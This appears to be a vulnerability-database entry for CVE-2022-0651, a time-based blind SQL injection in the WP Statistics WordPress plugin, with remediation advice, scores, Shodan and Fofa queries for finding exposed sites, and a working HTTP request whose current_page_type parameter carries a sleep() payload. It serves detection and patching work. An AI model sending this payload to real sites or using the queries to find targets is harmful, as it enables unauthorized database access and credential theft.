🔙 목록으로 돌아가기

CVE-2022-0651: WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection

TitleWordPress Plugin WP Statistics <= 13.1.5 - SQL Injection
Authortheamanrawat
SeverityHigh
ImpactUnauthenticated attackers can exploit time-based blind SQL injection to extract sensitive database contents including user credentials and statistics data.
RemediationUpdate wp-statistics plugin to version 13.1.6, or newer.
CVSS Score7.5
EPSS Score0.66896
CVE IDCVE-2022-0651
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/wp-statistics/
Fofa Querybody=/wp-content/plugins/wp-statistics/
Tags time-based-sqli cve cve2022 sqli wp wordpress wp-plugin wp-statistics veronalabs vuln

🔍 Vulnerability Description

The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_type parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce=G4gL58&wp_statistics_hit_rest&browser&platform&version&referred&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home'-sleep(6)-'&current_page_id=0&search_query&page_uri=/&user_id=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0651.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0651.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A